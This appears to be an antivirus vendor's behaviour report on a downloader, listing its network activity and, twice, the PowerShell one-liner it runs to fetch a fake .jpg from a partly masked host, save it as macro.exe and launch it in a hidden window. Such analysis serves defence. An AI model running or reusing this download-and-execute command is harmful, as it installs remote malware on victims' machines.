Technical Information
Malicious functions
Downloads and executes
- http://th###ahotel.com/1234567890vmanxxxxixvn.jpg as %temp%\macro.exe
Network activity
TCP
HTTP GET requests
- http://th###ahotel.com/1234567890VMANXXXXIXVN.jpg
UDP
- DNS ASK th###ahotel.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://th###ahotel.com/1234567890VMANXXXXIXVN.jpg','%temp%\macro.exe'); Start '%temp%\macro.exe'' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://th###ahotel.com/1234567890VMANXXXXIXVN.jpg','%temp%\macro.exe'); Start '%temp%\macro.exe'
